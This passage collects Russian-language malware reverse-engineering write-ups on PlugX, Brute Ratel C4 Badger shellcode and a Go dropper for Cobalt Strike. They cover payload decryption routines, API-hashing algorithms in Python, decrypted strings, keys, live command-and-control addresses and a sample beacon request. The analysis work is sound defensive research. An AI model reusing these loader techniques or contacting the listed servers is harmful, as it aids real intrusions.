f.close()
w.close()

MD5 расшифрованного ресурса BIN: 0226a4f0be90c8588774c805626359db.

После расшифрования шелл-кода с помощью функции VirtualAlloc выделяется участок памяти и далее с помощью memcpy копируется в него расшифрованные данные. Начало расшифрованных данных представляют собой шелл-код, с которого начинается дальнейшее выполнение.

Перейдем во внуть функции call eax (горячая клавиша F7) и разберем алгоритм работы шелл-кода.

Следующий участок кода сильно обфусцирован по алгоритму CFF (Control Flow Flattening). В коде присутствует большое количесвто условных операций, что свидетельствует об операнде switch C++. Но на данном участке начинается процесс расшифровки основной полезной нагрузки PlugX.

С помощью трассировки в x32dbg (Ctrl + F7) собрал алгоритм расшифрования основной полезной нагрузки. В расшифрованном файле BIN нагрузка расположена по смещению 0x7AD. С каждым байтом нагрузки осуществляются следующие операции:

(edi + 0x46) & 0xff) ^ 0xf7) - 0xa8) & 0xff

Длина полезной нагрузки PlugX равна 0x13c33. Как видно из рисунка выше регистр EAX уменьшается на 1 и цикл расшифровки байта повторяется.

В шестнадцетиричном редактторе HxD можно скопировать зашифрованный блок. Смещение от начала 0x7AD, длина 0x1c3cc.

Начало расшифрованного кода E8 00 00 00 00 58.

После расшифрования выполнение передается на расшифрованный участок, который представляет собой новый шелл-код. Далее перейдем к участку расшифрованного шелл-кода, с которого начинается выполнени. Для этого в x32dbg нажмем горячую клавишу Ctrl+G и введем адрес, оканчивающийся на ...7ad (первые байты всегда будут разные).

Перейдем в функцию call ...07EB. В данной функции модуль получает адреса WinAPI функций VirtualAlloc, VirtualFree, RtlDecompressBuffer, memcpy с помощью GetProcAddress.

Спускаемся ниже и видим выполнение функции RtlDecompressBuffer.

В параметре CompressedBuffer находится адрес сжатых данных, которые мы получили после расшифрования начиная со смещения 0x7AD длиной 0x1c3cc. Сжатые данные расположены по смещению 0x523.

Перейдем к адресу UncompressBuffer после выполнения функции RtlDecompressBuffer и увидим расшифрованные данные, которые представляют собой основной модуль PlugX.

Процесс получения основной полезной нагрузки следующий: расшифрование ресурса BIN, выполнение шелл-кода из ресурса BIN, расшифрование следующего этапа шелл-кода по смещению 0x7AD файла ресурса, выполнение второго этапа шелл-кода, декомпреcсия основной полезной нагрузки.

После извлечения основной полезной нагрузки второй этап шелл-кода проверяет сигнатуру расшифрованной нагрузки PlugX, где MZ и PE заменены на XV.

Основная нагрузка представляет собой динамическую библиотеку. Для проведения статического анализа основной полезной нагрузки PlugX yнеобходимо заменить XV на MZ и PE и загрузить в IDA Pro.

После исполнения загрузчика выполнение передается в основную нагрузку, где в переменной lpReserved содержится структура, в которой хранится адрес конфигурации. Первые 4 байта конфигурации содержат размер (0x5ba) (см. Рисунок ниже).

Все строки основной нагрузки зашифрованы. Функция расшифрования строк находится по адресу ....15D7.

На вход функции расшифрования подается строка и ее длина, причем первые 4 байта представляют собой константу для инициализации переменных key1 и key2. Разработаем Python3 скрипт для IDA Pro

iimport struct
import idaapi


lobyte = lambda v3: v3 & 0xFF
hibyte = lambda v3: (v3 & 0xFF00) >> 8

lobyte2 = lambda v3: (v3 & 0xff0000) >> 16
hibyte2 = lambda v3: (v3 & 0xff000000) >> 24

def decrypt(b):
    
    const_ = struct.unpack('<I',b[:4])[0]
    k1 = const_ ^ 0x13352af
    k2 = const_ ^ 0xa7
    result = []
    for i in b[4:]:
        k1 = (k1 + 0x6FD) & 0xffffffff
        k2 = (k2 - 0x305B) & 0xffffffff
        a = ((((((((((lobyte(k1) - hibyte(k1)) & 0xff) ^ lobyte2(k1)) - hibyte2(k1) & 0xff) ^ lobyte(k2)) - hibyte(k2)) & 0xff) ^ lobyte2(k2)) - hibyte2(k2)) & 0xff) ^ i
        result.append(a)
    return "".join([chr(i) for i in result])
    

def main(start,size):
    b = bytearray()
    w = open('C:\\Users\\User\Downloads\\result.txt','bw+')
    for i in range(size):
        x = idaapi.get_byte(start + i)
        b.append(x)
    d = decrypt(b)
    print(d)

Загрузим данный скрипт в IDA Pro (File->Script File). При расшифровании определнной строки в командной строке Python IDA Pro вводим адрес и размер строки, к примеру, main(0x1002411c,7).

Все расшифрованные строки модуля представлены ниже.

SeDebugPrivilege
SeTcbPrivilege
Global\
Global\
\\.\PIPE\
http
https
socks
ftp
%APPDATA%\Mozilla\Firefox
profiles.in
Path
Profile0
prefs.js
user_pref("network.proxy.http"
user_pref("network.proxy.http_port"
user_pref("network.proxy.ftp"
user_pref("network.proxy.ftp_port"
user_pref("network.proxy.ssl"
user_pref("network.proxy.ssl_port"
user_pref("network.proxy.socks"
user_pref("network.proxy.socks_port"
user_pref("network.proxy.socks_version"
%WINDIR%\SYSTEM32\SERVICES.EXE
GlobalMemoryStatusEx
GetNativeSystemInfo
\\.\PIPE\
PlugInfo
DISK
DISK
KeyLogger
Nethood
Netstat
Option
PortMap
Process
Regedit
Screen
Service
Shell
SQL
Telnet
static
%4.4d-%2.2d-%2.2d %2.2d:%2.2d:%2.2d
NUM%d
F%d
Back
Tab
Cls
Enter
Pause
Esc
PageUp
PageDn
End
/]
Left
Up
Rigth
Down
Select
Print
Exec
PrtSc
Ins
Del
Hlp
LWin
RWin
Apps
Sleep
Numlock
Scroll
[Ctl+Alt+%s]
[Ctl+%s]
[Alt+%s]
[%s]
System Idle Process
System
System
System
System
SeShutdownPrivilege
SeShutdownPrivilege
SeShutdownPrivilege
NT AUTHORITY
SYSTEM
NT AUTHORITY
SYSTEM
NT AUTHORITY
SYSTEM
System Idle Process
System
System
CompanyName
FileD
CíÖ,z
FileVersion
ProductName
ProductVersion
\SystemRoot\
\??\
CompanyName
FileDescription
FileVersion
ProductName
ProductVersion
DISPLAY
DISPLAY
DISPLAY
DISPLAY
%4.4d%2.2d%2.2d%2.2d%
ÿ'½ê¬ÒN
DISPLAY
WINSTA0
image/jpeg
DISPLAY
*.*
.jpg
*.*
.jpg
%
Comp
FileDescription
FileVersion
ProductName
ProductVersion
SYSTEM\CurrentControlSet\Services\
SYSTEM\CurrentControlSet\Services\
\Parameters
Se
IfN
ServiceDll
CMD /Q
CONIN$
CONIN$
CONOUT$
wininet.dll
HttpSendRequestA
HttpSendRequestW
HttpSendRequestExA
HttpSendRequestExW
L Ú´
\Documents and Settings\All Users\DRM
\Documents and Settings\All Users\DRM
\Documents and Settings\All Users\Application Data
\ProgramData
\ProgramData
\ProgramData
\ProgramData
IsWow64Process
kernel32
~MHZ
HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0
QueryFullProcessImageNameW
kernel32
\SystemRoot\
\??\
\VarFileInfo\Translation
\StringFileInf
@kVI2Ý8
NTDLL.DLL
WTSGetActiveConsoleSes
0
Ùëú
WTSQueryUserToken
%windir%\explorer.exe
%AUTO%\X
X
X
X
%windir%\system32
%sªBb
%windir%\system32\msiexec.exe
127.0.0.1
127.0.0.1
127.0.0.1
127.0.0.1
TEST
X
X
XXXXXXXX
HTTP://
DnsFr
Proxy-Auth: 
Proxy-Authorization: Basic 
GET 
POST 
CONNECT 
HTTP://
Proxy-Auth: 
Proxy-Authorization: Basic 
CONNECT %s:%d HTTP/1.1  
Content
Content-Type: text/html  
Proxy-Authorization: Basic
Proxy-Connection: Keep-Alive
HTTP/1.0 200 
HTTP/1.1 200 
http
socks
%s=%s:%d
*/*
/%p%p%p
GET
G7: 
Mozilla/4.0 (compatible; MSIE 
IE
SOFTWARE\Microsoft\Internet Explorer\Version Vector
; Windows NT %d.%d
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent\Post Platform
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent\Post Platform
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform

Конфигурация основного модуля PlugX расшифровывается по алгоритму расшифрования строк (DecryptString_15d7), описанному выше и с полученным данными выполняется декомпресия (RtlDecompressBuffer). В конфигурации по умолчанию указан управляющий сервер 45.76.211.18.

Также в модуле присутствует возможность загрузки конфигурации модуля из файла, расположенного в домашнем каталоге вредоноса.

После расшифрования конфигурации начинается процесс выполнения. Запущенному процессу добавляются привиллегии SeTcbPrivilege (действует как часть операционной системы), SeDebugPrivilege (позволяет получить доступ к любому процессу или потоку). Далее создается новый поток, в котором выполняются дальнейшие действия.

В модуле присутствует функция генерации строк.

int __usercall GenerateString@<eax>(unsigned int a1@<eax>, int a2, int a3)
{
  UINT (__stdcall *GetSystemDirectoryW)(LPWSTR, UINT); // eax
  HMODULE v5; // eax
  BOOL (__stdcall *ProcAddress)(LPCWSTR, LPWSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR, DWORD); // eax
  HMODULE v7; // eax
  DWORD v8; // eax
  int v9; // ecx
  int v10; // edi
  int v11; // eax
  __int16 v13[3]; // [esp+10h] [ebp-250h] BYREF
  __int16 v14; // [esp+16h] [ebp-24Ah]
  __int16 name[34]; // [esp+210h] [ebp-50h] BYREF
  int v16; // [esp+254h] [ebp-Ch] BYREF
  int v17; // [esp+258h] [ebp-8h] BYREF
  unsigned int v18; // [esp+25Ch] [ebp-4h] BYREF

  GetSystemDirectoryW = (UINT (__stdcall *)(LPWSTR, UINT))dword_1002C87C;
  if ( !dword_1002C87C )
  {
    v5 = (HMODULE)sub_100016FC();
    GetSystemDirectoryW = (UINT (__stdcall *)(LPWSTR, UINT))GetProcAddress(v5, "GetSystemDirectoryW");
    dword_1002C87C = (int)GetSystemDirectoryW;
  }
  GetSystemDirectoryW((LPWSTR)v13, 512);
  v14 = 0;
  ProcAddress = (BOOL (__stdcall *)(LPCWSTR, LPWSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR, DWORD))dword_1002C5F4;
  if ( !dword_1002C5F4 )
  {
    v7 = (HMODULE)sub_100016FC();
    ProcAddress = (BOOL (__stdcall *)(LPCWSTR, LPWSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR, DWORD))GetProcAddress(v7, "GetVolumeInformationW");
    dword_1002C5F4 = (int)ProcAddress;
  }
  if ( ProcAddress((LPCWSTR)v13, (LPWSTR)v13, 512, &v18, (LPDWORD)&v17, (LPDWORD)&v16, (LPWSTR)v13, 512) )
    v8 = 0;
  else
    v8 = sub_1000157A();
  if ( v8 )
    v18 = a1;
  else
    v18 ^= a1;
  v9 = (v18 & 0xF) + 3;
  LOWORD(v10) = 0;
  HIWORD(v10) = 0;
  if ( v9 > 0 )
  {
    do
    {
      v11 = v18 << 7;
      name[v10++] = v18 % 0x1A + 97;
      v18 = 8 * (v11 - (v18 >> 3) + 20140121) - ((v11 - (v18 >> 3) + 20140121) >> 7) - 20140121;
    }
    while ( v10 < v9 );
  }
  name[v9] = 0;
  string_wcopy(a2, a3);
  string_wconcat(a2, (int)name);
  return 0;
}

Она предназначена для создания обновленного файла конфигурации, а также при создании мьютекса Global\\%p%p%p.

В модуле присутствует код закрепления в системе с помощью создания службы, имя службы указано в конфигурации модуля. Но в текущей конфгурации модуля парметров закрепления не обнаружено.

Для установления связи с управляющим сервером используются WinAPI функции HttpOpenRequestA, HttpAddRequestHeadersA,HttpSendrequestHeadersA, InternetReadFile. В заголовок добавляется значение G7:<Base64(DecryptString(data))> зашифрованных по алгоритму шифрования строк и закодированных в Base64. Трафик в теле ответа шифруется по тому же алгоритму, что и строки. Содердимое запроса на управляющий сервер представлена ниже.

GET /D203C2D94728FF89BC4E3C39 HTTP/1.1
Accept: */*
G7: Lx/fXCz8J4qfquNfy6wK4pcupeE=
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.2; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: 45.76.211.18:443
Connection: Keep-Alive
Cache-Control: no-cache

Заключение

Мы с вами разобрали модуль семейства PlugX, расшифровали основную нагрузку, в которой заменена сигнатура MZ и PE на XV. Разобрали алгоритм расшифрования строк, а также конфигурацию модуля.

Исследование Badger BRC4

2024-01-19T13:36:17.277Z

Сегодня проанализируем шелл-код Badger Brute Ratel C4, файл. Проведем динамичесий и статический анализ вредоносного кода, восстановим алгоритм декодирования функций (API Hashing), расшифруем полезную нагрузку и конфигурацию модуля.

Используемые утилиты:

Blobrunner - инструмент для отладки шелл-кода.
SpeakEasy - эмулятор, предназначенный для эмуляции вредоносных программ ядра и пользовательского режима Windows.
Ghidra - это платформа обратного проектирования программного обеспечения (SRE)/
IDA Pro - инструмент для анализа двоичного кода.
x64Debug - бинарный отладчик с открытым исходным кодом для Windows
Die.

Исследование шелл-кода

Для статического анализа шелл-кода будем использовать Ghidra. Испортируем файл и выберем компилятор.

Выбираем x86 архитектуру, 64 разрядный процесс и компилятор gcc. Если код не преобразовался, то нажмем горячую клавишу D или Правая клавиша мыши->Disassemble.

Командами PUSH в стек складывается большой объем данных. Спустимся по коду ниже и разберем дальнейшие действия шелл-кода.

Начнем проводить динамический анализ шелл-кода, чтобы подробнее разобрать реализию, запустим blobrunner.

blobrunner64.exe 4f88738e04447344100bb9532c239032b86e71d8037ccb121e2959f37fff53cf.unknown

Помним, что мы отлаживаем x64 разрядный шелл-код, поэтому нам необходимо в x64dbg поставить точку останова на потоке с идентификатором, указаном в строке Created Thread: утилиты Blobrunner. Присоединяемся к созданному процессу, ставим точку останова и начинаем отлаживать код.

аходим в функцию 13a69d944d7 (Горячая клавиша F7 в x64dbg).

Спускаемся ниже и видим вызов функции call 13a69d93e67, на вход ей поступает значение 0x3e192526. Зайдем в данную функцию.

В данной функции реализована следующая логика. Получение адреса динамической библиотеки ntdll.dll, далее адреса всех функций экспорта, следующим этапом имя экспортируемой функции подается на вход call 13a69d94557 для расчета хэш-значения.

Полученное хэш-значение сравнивается со значением 0x3e192526. Разберем алгоритм хэширования и напишем его алгоритм на Python3. Для этого зайдем в функцию 13a69d94557

Код реализации хэширования представлен ниже.

Имя экспортированной функции из динамической библиотеки по байтово складывается с общей суммой, которая преобразуется по алгоритму ror13.

def hash_api_brc4(name_api):
    sum = 0
    for i in  name_api:
        c = ord(i)
        sum = ((ror(sum,0xd,max_bits) & 0xffffffffffffffff) + c) &0xffffffffffffffff
    return hex(sum)

В Ghidra найдем все хэш-значения и преобразуем их. Горячей клавишей ; можно добавить комментарий к строке в дизассемблере.

kernel32.dll->GetProcAddress  0x7c0dfcaa
kernel32.dll->LoadLibraryA 0xec0e4e8e
kernel32.dll->WaitForSingleObject 0xce05d9ad
ntdll.dll->LdrGetDllHandleEx 0xec6b915d
ntdll.dll->LdrGetProcedureAddress 0xe54cc407
ntdll.dll->NtAllocateVirtualMemory 0xd33bcabd
ntdll.dll->NtFlushInstructionCache 0x534c0ab8
ntdll.dll->NtProtectVirtualMemory 0x8c394d89
ntdll.dll->RtlAllocateHeap 0x3e192526
ntdll.dll->RtlFreeHeap 0xda12b8
ntdll.dll->NtAllocateVirtualMemory 0xd33bcabd
ntdll.dll->RtlAllocateHeap 0x3e192526
ntdll.dll->RtlFreeHeap 0xda12b8

Значение хэш-суммы 0x3e192526 соответствует функции RtlAllocateHeap.

В функции 13a69d944d7 реализован алгоритм выделения кучи с помощью функции RtlAllocateHeap и копирование полезной нагрузки размером 0x39410 из стека в выделенную оласть памяти.

Во втором выполнении функции13a69d944d7 копируется закодированная Base64 конфигурация модуля размером 0x13c в выделенную область кучи.

Далее проанализируем функцию `call 13A69D94587`, в которой реализован основной функционал по расшифрованию и запуску основной нагрузки.

В данной функции происходит получение адресов функций: RtlFreeHeap, NtProtectVirtualMemory, LdrGetHandleEx, LdrGetProcedureAddress.

Спустимся ниже и увидим еще одно константное значение 0x6a4abc5b, которое поступает на вход функции `...f97`. Расмотрим его подробнее.

Код функции хэширования имени DLL библиотеки.

В данной функции реализован алгоритм хэширования имени DLL библиотеки. Напишем его на Python3.

def dll_hashing(name_dll):
    sum = 0
    for i in name_dll:
        c = ord(i)
        if c >= 0x61:
            c -= 0x20
        sum = ((ror(sum,0xd,max_bits) & 0xffffffffffffffff) + c) &0xffffffffffffffff
        sum = ((ror(sum,0xd,max_bits) & 0xffffffffffffffff)) &0xffffffffffffffff
    return sum

Функция 0x6a4abc5b является хэш значением динамической библиотеки KERNEL32.DLL.

Далее с помощью функции LdrGetDllHandleEx загружает динамическую функцию Kernel32.dll.

Следующим этапом начинается процесс расшифрования полезной нагрузки Badger BRC3 в функции call 13a69d948a7.

Увидев код ниже, который представляет собой алгоритм расширения ключа, можно сделать вывод, что нагрузка зашифрована RC4.

В качестве ключа передаются последние 8 байтов скопированной полезной нагрузки. Ключ равен 23 64 66 26 2F 61 2E 65. Расшифруем полезную нагрузку.

В итоге получили PE файл с удаленной MZ сигнатурой.

Далее полученный код загружается в процесс методом ReflectiveDLLInjection.

Код расшифрования файла конфигурации расположен в основной DLL Badger. Но не много опишу его тут.

Конфигурация расположена в Base64 данных, зашифрованных по алгоритму RC4. Ключом является предпоследние 8 байтов расшифрованной полезной нагрузки DLL Badger BRC4. Последние 8 байт это зашифрованный ключ расшифрования полезной нагрузки, тот что мы получили на предыдущем шаге.

Расшифруем с помощью утилиты CyberChef.

В конфигурации каждый параметр отделен вертикальной чертой. В выявленном нам конфигурации указан управляющий сервер deve.dread.ie. Так конфигурация хранится В памяти процесса конфигурация хранится в зашифрованном blob-объекте (RC4+base64), но ключ шифрования для RC4 указан в основной нагрузки DLL Badger BRC4.

На данном этапе мы с вами разобрали загрузчик основной нагрузки DLL Badger BRC4. Нам удалось разобрать алгоритм хэширования API функций, который схож с реализацией в CobaltStrike. Расшифровали полезную нагрузку, которая представляет из себя DLL без заголовка MZ, а также расшифровали конфигурацию вредоноса.

Исследование Golang дроппера с нагрузкой CobaltStrike

2024-01-11T19:43:11.111Z

Сегодня мы с вами проведем исследование вредоносного файла, представляющий собой Golang дроппер. Основная задача исследуемого модуля установка шелл-кода CobaltStrike. Мы с вами научимся проводить динамический и статичесикй анализ, разберем алгоритм хэширования API функций и разработаем собственный декодер на Python3.

Используемые утилиты:

Blobrunner - инструмент для отладки шелл-кода.
SpeakEasy - эмулятор, предназначенный для эмуляции вредоносных программ ядра и пользовательского режима Windows.
Ghidra - это платформа обратного проектирования программного обеспечения (SRE)/
IDA Pro - инструмент для анализа двоичного кода.
x64Debug - бинарный отладчик с открытым исходным кодом для Windows
Die.

Информация об исполняемом файле

Первоначально получим инфорамацию об исполняемом файле, для этого загрузим в утилиту Die.

Исследование дроппера

При исследования файлов на Go возникает множество трудностей: потерянные имена функций, нераспознанные строки в файле. Проблем анализа бинарных файлов на Go описаны в статье Реверс бинарных файлов Golang с использованием Ghidra. Часть 1 . Для решения данных проблем разработана коллекция скриптов AlphaGolang для IDA Pro 7.6 и Ghidra Script для Ghidra.

Загрузим вредонос в IDA Pro x64 и проведем его статичесский анализ. На вкладке Function находим функцию main.main и приступаем к анализу.

На вкладке псевдокод, сгенерированный Hex Rays можно увидеть строку LeslieCheungKwok, декодирование данных из Base 64 и функцию main_DecrptogAES.

Посмотрим содержимое функции main_DecrptogAES.

Также содежимое полезной нагрузки.

Вышеописанные участок кода расшифровывает полезную нагрузку по следующему алгоритму: дкодирование из Base64, далее расшифрования по алгоритму AES в режиме CBC, ключ и вектор инициализации равен LeslieCheungKwok.

Расшифруем полезную нагрузку и проанализруем полученный шелл-код, размером 1600 байт, для этого воспользуемся утилитой CyberChef.

Далее в функции main_build происходит запуск расшифрованного шелл-кода с помощью Golang пакета Syscal.

Анализ шелл-кода CobaltStrike

После получения шелл-кода определим его функциональность с помощью утилиты SpeakEasy. Сохраним результат отчета в файл mem.zip.

speakeasy -t cobalt.sc -r -a x64 -d mem.zip

Основная задача вредоносного кода загрузка полезной нагрузки с управляющего сервера 124.221.100.99. Взглянем глубже на шелл-код, проведем его динамический и статический анализ.

Проведем статический анализ шелл-кода в Ghidra. Импортируем файл в наш проект, далее выбираем архитектуру, компилятор и порядок байт.

Код будет представлять байтовую последовательность, нам необходимо его преобразовать в ассемблерные инструкции, для этого нажмем горячую клавишу D или Правая клавиша мыши->Disassemble.

Все вызовы функций в шелл-коде будут выполнятся посредством хэширования API. Функция поиска хэша функции выполняется в инструкции call RBP. Восстановим алгоритм хэширования с помощью динамического анализа. Для этого нам понадобится blobrunner.64exe и x64dbg.

Запускаем blobrunner64.exe.

blobrunner64.exe cobalt.cs

Для поддержки отладки x64 шелл-кода загрузчик Blobrunner создает приостановленный поток, в нашем случае его идентификатор 6092.

Далее открываем x64dbg, нажимаем на вкладку Файл->Присоединиться и выбираем процесс blobrunner64.exe.

В отладчике x64dbg переходим во вкладку Потоки и ставим точку останова на вход потока с идентификатором 6092. Не забываем, что идентификатор и точка входа при новом запуске будет разный. Далее при запуске Blobrunner64 нажимаем на любую клавишу и в x64dbg попадем на точку входа шелл-кода.

Нам необходимо зайти в функцию call rbp, как видно из рисунка на вход подается хэш сумма 0x726774c.

Первое что приосходит это формирование константы от имени dll функции.

Следующим этапом имя экспортированной функции из динамической библиотеки по байтово преобразуется по алгоритму ror13 и сумируется.

Напишем алгоритм хэширования API функций Cobalt Strike на Python.

def generate_const(name_dll):
    sum = 0
    for i in name_dll:
        c = ord(i)
        if c >= 0x61:
            c -= 0x20
        sum = ((ror(sum,0xd,max_bits) & 0xffffffffffffffff) + c) &0xffffffffffffffff
        sum = ((ror(sum,0xd,max_bits) & 0xffffffffffffffff)) &0xffffffffffffffff
    sum = (ror(sum,0xd,max_bits)&0xffffffffffffffff )
    sum = (ror(sum,0xd,max_bits)&0xffffffffffffffff )
    return sum

def hash_api_cs(name_api,name_dll):
    const_ = generate_const(name_dll)
    sum = 0
    for i in  name_api:
        c = ord(i)
        sum = ((ror(sum,0xd,max_bits) & 0xffffffffffffffff) + c) &0xffffffffffffffff
    sum = (ror(sum,0xd,max_bits)&0xffffffffffffffff )
    sum =  (sum + const_) & 0xffffffff
    return hex(sum)

Преобразуем все хэши функций.

ExitProcess 0x56a2b5f0
VirtualAlloc 0xe553a458
HttpOpenRequestA 0x3b2e55eb
HttpSendRequestA 0x7b18062d
InternetConnectA 0xc69f8957
InternetOpenA 0xa779563a
InternetReadFile 0xe2899612

Заключение

При разборе данной малвари мы с вами расшифровали полезную нагрузку, научились отлаживать шелл-код с помощью утилиты blobrunner, написали декодер хэш-сумм используемых API функций.